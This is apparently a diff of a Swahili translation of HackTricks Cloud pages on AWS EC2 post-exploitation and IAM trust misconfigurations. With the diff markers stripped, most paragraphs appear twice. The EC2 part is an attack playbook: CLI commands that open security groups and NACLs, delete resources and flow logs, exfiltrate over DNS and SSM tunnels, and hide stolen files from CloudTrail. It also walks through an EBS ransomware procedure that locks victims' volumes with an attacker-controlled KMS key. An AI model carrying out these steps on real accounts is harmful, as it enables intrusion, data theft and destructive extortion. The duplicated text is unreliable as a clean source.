### Live Data Theft via EBS Multi-Attach
Attach volume ya io1/io2 Multi-Attach kwa instance ya pili na ui-mount kwa read-only ili kuchukua data zinazoendelea bila snapshots. Inafaa wakati volume ya mwathiriwa tayari ina Multi-Attach imewezeshwa ndani ya AZ ile ile.
Unganisha io1/io2 Multi-Attach volume kwenye instance ya pili na ui-mount kwa read-only ili kukamata live data bila snapshots. Inafaa wakati victim volume tayari ina Multi-Attach imewezeshwa ndani ya AZ ile ile.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
Create EC2 Instance Connect Endpoint, authorize ingress, na inject ephemeral SSH keys ili kupata private instances kupitia managed tunnel. Hutoa njia za haraka za lateral movement bila kufungua public ports.
Tengeneza EC2 Instance Connect Endpoint, ruhusu ingress, na weka ephemeral SSH keys ili kufikia private instances kupitia tunnel inayosimamiwa. Hutoa njia za haraka za lateral movement bila kufungua public ports.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
Hamisha secondary private IP ya ENI ya mwathiriwa kwenda ENI inayodhibitiwa na mshambulizi ili kujifanya kuwa host zinazotumika ambazo zime-allowlist kwa IP. Inaruhusu kupitisha ACLs za ndani au kanuni za SG zinazotegemea anwani maalum.
Hamisha secondary private IP ya ENI ya victim kwenda ENI inayodhibitiwa na attacker ili kujifanya trusted hosts zinazoorodheshwa kwa IP. Inaruhusu kuepuka ACLs za ndani au SG rules zilizoambatishwa na anwani maalum.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
Reassociate Elastic IP kutoka kwa instance ya mwathiriwa kwenda kwa mshambulizi ili kukamata traffic inayoingia au kuanzisha connections zinazoonekana kutoka kwa public IPs zinazotumika kama za kuaminika.
Weka upya association ya Elastic IP kutoka instance ya victim kwenda kwa attacker ili kunasa inbound traffic au kuanzisha outbound connections zinazoonekana kuja kutoka kwa IP za umma zilizothibitishwa.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
Kama rule ya security group inarejea customer-managed prefix list, kuongeza CIDRs za mshambulizi kwenye list hiyo kunapanua kwa utulivu ufikaji kwenye kila rule ya SG inayotegemea bila kubadilisha SG yenyewe.
Ikiwa rule ya security group inarejea customer-managed prefix list, kuongeza attacker CIDRs kwenye list hiyo kunapanua kwa ukimya ufikiaji kwenye kila rule ya SG inayotegemea bila kubadilisha SG yenyewe.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
Create gateway au interface VPC endpoints ili kupata upya outbound access kutoka subnets zilizotengwa. Kutumia AWS-managed private links kunapita controls za IGW/NAT zilizokosekana kwa ajili ya data exfiltration.
Tengeneza gateway au interface VPC endpoints ili kupata tena outbound access kutoka subnets zilizotengwa. Kutumia AWS-managed private links kunavunja controls za IGW/NAT zilizokosekana kwa ajili ya data exfiltration.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
Mshambulizi mwenye ruhusa ya `ec2:AuthorizeSecurityGroupIngress` anaweza kuongeza rules za inbound kwa security groups (kwa mfano, kuruhusu tcp:80 kutoka 0.0.0.0/0), hivyo kufichua services za ndani kwa Internet ya umma au mitandao isiyoidhinishwa.
Attacker mwenye ruhusa ya ec2:AuthorizeSecurityGroupIngress anaweza kuongeza inbound rules kwa security groups (kwa mfano, kuruhusu tcp:80 kutoka 0.0.0.0/0), hivyo kuonyesha huduma za ndani kwenye public Internet au mitandao isiyoidhinishwa.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
Mshambulizi mwenye ruhusa za ec2:ReplaceNetworkAclEntry (au sawa nazo) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuziacha zikiwa wazi sana — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — na hivyo kufichua anuwai nzima ya subnet kwa Mtandao au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinatumika kwa kila instance, NACLs zinatumika ngazi ya subnet, hivyo kubadilisha NACL kali kunaweza kuwa na mzunguko wa athari mkubwa zaidi kwa kuruhusu ufikiaji kwa hosts wengi zaidi.
Mshambulizi mwenye ruhusa za ec2:ReplaceNetworkAclEntry (au sawa) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuzifanya ziwe laini sana — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — hivyo kufichua anuwai yote ya subnet kwa Internet au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinawekwa kwa kila instance, NACLs zinawekwa kwenye ngazi ya subnet, hivyo kubadilisha NACL kali kunaweza kuwa na blast radius kubwa zaidi kwa kuwezesha upatikanaji kwa hosts wengi zaidi.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
Mshambulizi mwenye ruhusa za ec2:Delete* na iam:Remove* anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes au attachments, security groups au rules, ENIs/network endpoints, route tables, gateways, au managed endpoints. Hii inaweza kusababisha uvurugaji wa huduma mara moja, upotevu wa data, na kupoteza ushahidi wa forensics.
An attacker with ec2:Delete* and iam:Remove* permissions anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Hii inaweza kusababisha kuvurugika kwa huduma mara moja, kupoteza data, na kupoteza ushahidi wa forensiki.
Mfano mmoja ni kufuta security group:
One example is deleting a security group:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Cross-Account Exfiltration
Elekeza VPC Flow Logs kwenda S3 bucket inayodhibitiwa na mshambuliaji ili kukusanya kwa muda wote metadata ya mtandao (source/destination, ports) nje ya akaunti ya waathiriwa kwa ajili ya long-term reconnaissance.
Elekeza VPC Flow Logs kwenye attacker-controlled S3 bucket ili kukusanya metadata ya mtandao (source/destination, ports) nje ya victim account kwa reconnaissance ya muda mrefu.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -150,28 +150,28 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
Hata ukifunga EC2 kwa namna kwamba hakuna trafiki inayoweza kutoka, bado inaweza **exfil via DNS**.
Hata ukifunga EC2 ili hakuna trafiki itakayoweza kutoka, bado inaweza **exfil via DNS**.
- **VPC Flow Logs haitarekodi hili**.
- **VPC Flow Logs haitayarekodi hili**.
- Huna ufikiaji wa AWS DNS logs.
- Zima hili kwa kuweka "enableDnsSupport" kuwa false kwa:
- Zima hili kwa kuweka "enableDnsSupport" kuwa false kwa kutumia:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
Mshambulizi anaweza kuita API endpoints za akaunti anazodhibiti. Cloudtrail itarekodi wito hizi na mshambulizi ataweza kuona exfiltrate data katika Cloudtrail logs.
An attacker anaweza kupiga API endpoints za account anayotawaliwa naye. Cloudtrail itarekodi miito hii na attacker ataweza kuona exfiltrate data katika Cloudtrail logs.
### Open Security Group
Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua ports kama hivi:
Unaweza kupata upatikanaji zaidi wa huduma za mtandao kwa kufungua ports kama hili:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc kwa ECS
### Privesc to ECS
Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha ECS instances, kisha kuiba data za instances za ECS.
Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha ECS instances, kisha kuiba data za ECS instances.
Kwa [**maelezo zaidi angalia hapa**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
@@ -181,68 +181,68 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
Idhini zinazohitajika:
Ruhusa zinazohitajika:
- `ssm:StartSession`
Mbali na utekelezaji wa amri, SSM inaruhusu traffic tunneling ambayo inaweza kutumiwa vibaya kwa ajili ya pivot kutoka kwenye EC2 instances ambazo hazina ufikaji wa mtandao kutokana na Security Groups au NACLs.
Moja ya matukio ambapo hii inakuwa muhimu ni pivoting kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi private EKS cluster.
Mbali na utekelezaji wa amri, SSM inaruhusu traffic tunneling ambayo inaweza kutumiwa vibaya kufanya pivot kutoka kwa EC2 instances ambazo hazina ufikaji wa mtandao kwa sababu ya Security Groups au NACLs.
Moja ya mazingira ambapo hili ni muhimu ni kufanya pivot kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) kwenda kwenye private EKS cluster.
> Ili kuanza session unahitaji SessionManagerPlugin imewekwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. Sakinisha SessionManagerPlugin kwenye mashine yako
2. Ingia kwenye Bastion EC2 kwa kutumia amri ifuatayo:
2. Ingia kwenye Bastion EC2 ukitumia amri ifuatayo:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Pata credentials za muda za Bastion EC2 AWS kwa kutumia script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
3. Pata Bastion EC2 AWS temporary credentials kwa kutumia [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
4. Hamisha credentials kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profile `[bastion-ec2]`
5. Ingia kwenye EKS kama Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. Sasisha sehemu ya `server` katika faili `$HOME/.kube/config` ili kuelekeza kwa `https://localhost`
7. Unda SSM tunnel kama ifuatavyo:
6. Sasisha kipengee cha `server` katika faili `$HOME/.kube/config` ili kiashirie `https://localhost`
7. Unda tuneli ya SSM kama ifuatavyo:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Trafiki kutoka kwa zana ya `kubectl` sasa imepelekwa kupitia SSM tunnel kupitia Bastion EC2 na unaweza kufikia EKS cluster binafsi kutoka kwenye mashine yako kwa kuendesha:
8. Trafiki kutoka kwa zana ya `kubectl` sasa imepelekwa kupitia tundu la SSM kupitia Bastion EC2, na unaweza kufikia cluster ya kibinafsi ya EKS kutoka kwenye mashine yako mwenyewe kwa kuendesha:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Kumbuka kwamba muunganisho za SSL zitatofaulu isipokuwa ukiweka bendera `--insecure-skip-tls-verify` (au sawa nayo katika zana za ukaguzi za K8s). Kwa kuwa trafiki imepitishwa kupitia tuneli salama ya AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM.
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Kwa kuwa trafiki inapitishwa kupitia AWS SSM tunnel iliyo salama, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM.
Hatimaye, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka domains na ports yoyote ili ku-pivot kwenda kwa huduma nyingine ya AWS au programu maalum.
Hatimaye, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka domeni na bandari yoyote ili ku-pivot kwenda huduma nyingine yoyote ya AWS au programu maalum.
---
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
Ikiwa unahitaji tu ku-forward **one TCP port from the EC2 instance to your local host** unaweza kutumia the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
Ikiwa unahitaji tu kupitisha **port moja ya TCP kutoka EC2 instance kwenda local host yako** unaweza kutumia SSM document ya `AWS-StartPortForwardingSession` (hakuna remote host parameter inayohitajika):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
Amri inaunda tunnel ya pande zote mbili kati ya workstation yako (`localPortNumber`) na port iliyochaguliwa (`portNumber`) kwenye instance **bila kufungua sheria yoyote za inbound za Security-Group**.
Amri inaunda tuneli ya pande mbili kati ya workstation yako (`localPortNumber`) na port iliyochaguliwa (`portNumber`) kwenye instance **without opening any inbound Security-Group rules**.
Matumizi ya kawaida:
* **File exfiltration**
1. Kwenye instance anzisha HTTP server ya haraka inayorejea kwa directory unayotaka ku-exfiltrate:
1. Kwenye instance, anzisha HTTP server ya haraka inayoelekeza kwenye directory unayotaka exfiltrate:
```bash
python3 -m http.server 8000
```
2. Kutoka kwenye workstation yako pakua faili kupitia SSM tunnel:
2. Kutoka kwenye workstation yako, pakua faili kupitia SSM tunnel:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Kupata programu za wavuti za ndani (e.g. Nessus)**
* **Kupata maombi ya wavuti za ndani (mf. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -250,18 +250,18 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Ushauri: Compress and encrypt ushahidi kabla ya exfiltrating ili CloudTrail isirekodi maudhui ya clear-text:
Kidokezo: Kandamiza na encrypt ushahidi kabla ya exfiltrating ili CloudTrail isirekodi clear-text content:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### Shiriki AMI
### Kushirikisha AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Tafuta taarifa nyeti katika AMIs za umma na za kibinafsi
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa ili **tafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za kibinafsi**. Inafanya kiotomatiki mchakato wa kuanzisha instances kutoka AMIs zinazolengwa, mounting volumu zao, na kuchunguza kwa ajili ya secrets au data nyeti zinazoweza kuwepo.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za kibinafsi**. Inarahisisha mchakato wa kuanzisha instances kutoka AMIs lengwa, mounting volumes zao, na kukagua kwa uwezekano wa secrets au data nyeti.
### Shiriki EBS Snapshot
```bash
@@ -269,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
Uthibitisho wa dhana unaofanana na maonyesho ya Ransomware yaliyoonyeshwa katika S3 post-exploitation notes. KMS inapaswa kubadilishwa jina kuwa RMS kwa Ransomware Management Service kutokana na urahisi wa kuitumia ku-encrypt huduma mbalimbali za AWS.
Thibitisho la dhana linalofanana na demo ya Ransomware iliyowasilishwa katika noti za S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Ransomware Management Service kutokana na urahisi wa kuitumia ku-encrypt huduma mbalimbali za AWS.
Kwanza kutoka kwa akaunti ya 'attacker' ya AWS, tengeneza customer managed key katika KMS. Kwa mfano huu tutamruhusu AWS kusimamia key data kwa niaba yangu, lakini katika mazingira ya uhalisia malicious actor atahifadhi key data nje ya udhibiti wa AWS. Badilisha key policy ili kuruhusu Principal yoyote wa akaunti ya AWS kutumia key hiyo. Kwa key policy hii, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoaruhusu ufikiaji wote inaitwa 'Outside Encryption'
Kwanza kutoka kwenye akaunti ya 'attacker' ya AWS, tengeneza customer managed key katika KMS. Kwa mfano huu tutamwachia AWS kudhibiti key data kwangu, lakini katika senario halisi mwovu angehifadhi key data nje ya udhibiti wa AWS. Badilisha key policy ili kuruhusu Principal yeyote wa akaunti ya AWS kutumia key hiyo. Kwa key policy hii, jina la akaunti lilikuwa 'AttackSim' na rule ya policy inayoruhusu upatikanaji wote inaitwa 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -363,7 +363,7 @@ Kwanza kutoka kwa akaunti ya 'attacker' ya AWS, tengeneza customer managed key k
]
}
```
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
Sheria ya key inahitaji yafuatayo ziwe zimewezeshwa ili kuruhusu uwezo wa kuitumia ku-encrypt volume ya EBS:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -371,43 +371,21 @@ The key policy rule needs the following enabled to allow for the ability to use
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Sera ya key inahitaji yafuatayo kuwa imewezeshwa ili iweze kutumika kusimbua volume ya EBS:
- `kms:CreateGrant`
- `kms:Decrypt`
- `kms:DescribeKey`
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
Sasa kwa kuwa key hiyo iko hadharani kwa matumizi. Tunaweza kutumia akaunti ya 'victim' ambayo ina baadhi ya instances za EC2 zilizowekwa zikiwa na EBS volumes zisizofichwa (unencrypted) zilizounganishwa. EBS volumes za akaunti ya 'victim' ndizo tunazolenga ku-encrypt; shambulio hili linafanyika kwa kuzingatia uvunjaji wa akaunti ya AWS yenye ruhusa za juu.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Sasa ukiwa na key inayopatikana hadharani ya kutumia. Tunaweza kutumia akaunti ya 'victim' ambayo ina baadhi ya instances za EC2 zilizozinduliwa zikiwa na volumes za EBS zisizosimbwa zimeambatishwa. Volumes za EBS za akaunti hii ya 'victim' ndizo tunazolenga kwa kusimbua; shambulio hili linafanywa kwa kuzingatia kuvamiwa kwa akaunti ya AWS yenye idhini kubwa.
Kwa namna sawa na mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, litumie key iliyopo hadharani kutoka akaunti ya 'attacker' ku-encrypt EBS volumes mpya, kisha litenganishe EBS volumes za asili kutoka kwa instances za EC2 na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizofichwa (encrypted). ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Kama ilivyo kwa mfano wa S3 ransomware. Shambulio hili litatengeneza nakala za volumes za EBS zilizoambatishwa kwa kutumia snapshots, litumie key inayopatikana hadharani kutoka kwa akaunti ya 'attacker' kusimbua volumes mpya za EBS, kisha kuondoa (detach) volumes za EBS za awali kutoka kwa instances za EC2 na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda volumes mpya zilizosisimbwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
This results in only encrypted EBS volumes left available in the account.
Hii inasababisha kubaki tu EBS volumes zilizofichwa (encrypted) zilizopatikana katika akaunti.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Hii inasababisha kubaki volumes za EBS zilizosisimbwa pekee zinazopatikana katika akaunti.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
Pia inafaa kutaja, script ilizuia instances za EC2 ili kutenganisha na kufuta EBS volumes za asili. Volumes za asili zisizofichwa (unencrypted) zimeondolewa sasa.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Pia inastahili kutajwa kwamba skripti iliizima instances za EC2 ili kuondoa (detach) na kufuta volumes za EBS za awali. Volumes za awali ambazo hazijasimbwa sasa zimepotea.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
Ifuatayo, rudi kwenye key policy katika akaunti ya 'attacker' na ondoa kanuni ya sera ya 'Outside Encryption' kutoka kwenye key policy.
Ifuatayo, rudi kwenye key policy katika akaunti ya 'attacker' na ondoa sheria ya sera 'Outside Encryption' kutoka kwenye key policy.
```json
{
"Version": "2012-10-17",
@@ -478,15 +456,15 @@ Ifuatayo, rudi kwenye key policy katika akaunti ya 'attacker' na ondoa kanuni ya
]
}
```
Subiri kidogo ili sera ya ufunguo mpya ianze kuenea. Kisha rudi kwenye akaunti ya 'victim' na ujaribu kuambatanisha moja ya volumes mpya za EBS zilizofichwa. Utagundua kuwa unaweza kuambatanisha volume.
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Lakini unapojaribu kwa kweli kuanzisha instance ya EC2 tena ukiwa umeambatanisha EBS volume iliyofichwa, itashindwa tu na itarudi kutoka kwenye hali ya 'pending' kwenda hali ya 'stopped' kwa muda usiofikia mwisho kwa kuwa EBS volume iliyounganishwa haiwezi ku-decrypt kutumia ufunguo kutokana na sera ya ufunguo kuitowa ruhusa.
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Hii ni script ya python iliyotumika. Inapokea AWS creds za akaunti ya 'victim' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakao tumika kwa encryption. Script itaunda nakala zilizo encrypted za VOLUMES ZOTE za EBS zilizoambatanishwa kwenye INSTANCES ZOTE za EC2 katika akaunti ya AWS inayolengwa, kisha itazima kila instance ya EC2, i-detach EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itaacha tu EBS volumes zilizofichwa katika akaunti ya 'victim' inayolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MAJARIBIO, NI DESTRUCTIVE NA ITAFUTA VOLUMES ZOTE ASILIMIA ZA AWALI ZA EBS. Unaweza kuzipata tena kwa kutumia KMS key iliyotumika na kuzirejesha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa mwishowe hii ni ransomware PoC.
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
```
import boto3
import argparse
@@ -605,6 +583,6 @@ main()
```
## Marejeo
- [Pentest Partners Jinsi ya kuhamisha faili kwenye AWS kwa kutumia SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
- [Pentest Partners How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,21 +4,21 @@
## IAM
For more information about IAM access:
Kwa taarifa zaidi kuhusu ufikiaji wa IAM:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
## Confused Deputy Problem
## Tatizo la Confused Deputy
Iwapo uta **kuruhusu akaunti ya nje (A)** kupata ufikiaji wa **role** katika akaunti yako, huenda ukawa na **muonekano wa 0** juu ya **ni nani hasa anayeweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia ataweza kufikia akaunti yako**.
Ikiwa utamruhusu **akaunti ya nje (A)** kufikia **role** katika akaunti yako, huenda ukawa na **hakuna uwazi** juu ya **ni nani hasa anayeweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia atakuwa na uwezo wa kufikia akaunti yako**.
Hivyo, wakati unaporuhusu akaunti ya nje kupata ufikiaji wa role katika akaunti yako unaweza kubainisha `ExternalId`. Hii ni kamba ya "siri" kwamba akaunti ya nje (A) **inahitaji kuiweka** ili **assume the role in your organization**. Kwa kuwa **akaunti ya nje B haitajui kamba hii**, hata ikiwa ana ufikiaji wa A **hatawezi kufikia role yako**.
Kwa hiyo, unapomruhusu akaunti ya nje kufikia role katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni msururu wa "siri" ambao akaunti ya nje (A) **inahitaji kuitaja** ili **assume the role in your organization**. Kwa kuwa **akaunti ya nje B hatajui msururu huu**, hata kama ana upatikanaji juu ya A hatataweza kufikia role yako.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Hata hivyo, kumbuka kwamba hii ya `ExternalId` "siri" **si siri**, yeyote anayeweza **read the IAM assume role policy ataweza kuiona**. Lakini mradi akaunti ya nje A inajua, na akaunti ya nje **B haitajui**, inazuia **B kutumia A vibaya ili kufikia role yako**.
Hata hivyo, kumbuka kwamba siri hii ya `ExternalId` **sio siri**, yeyote anayeweza **read the IAM assume role policy will be able to see it**. Lakini mradi tu akaunti ya nje A inajua, na akaunti ya nje **B haijui**, inazuia **B kumtumia vibaya A ili kufikia role yako**.
Mfano:
```json
@@ -39,9 +39,9 @@ Mfano:
}
```
> [!WARNING]
> Ili mshambuliaji kutumia confused deputy atalazimika kwa njia fulani kubaini ikiwa principals wa akaunti ya sasa wanaweza kuiga roles katika akaunti nyingine.
> Ili attacker aweza kuchukua faida ya confused deputy, atahitaji kwa njia fulani kugundua ikiwa principals za akaunti ya sasa zinaweza kujifanya roles katika akaunti nyingine.
### Imfani zisizotarajiwa
### Imani zisizotarajiwa
#### Wildcard kama principal
```json
@@ -51,9 +51,9 @@ Mfano:
"Principal": { "AWS": "*" }
}
```
Sera hii **inaruhusu AWS zote** kuchukua role hii.
Sera hii **inaruhusu AWS zote** kuchukua jukumu.
#### Huduma kama mhusika
#### Huduma kama principal
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@ Sera hii **inaruhusu AWS zote** kuchukua role hii.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao kuitisha Lambda hii.
Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao kuitwa Lambda hii.
#### S3 kama principal
#### S3 kama mhusika
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
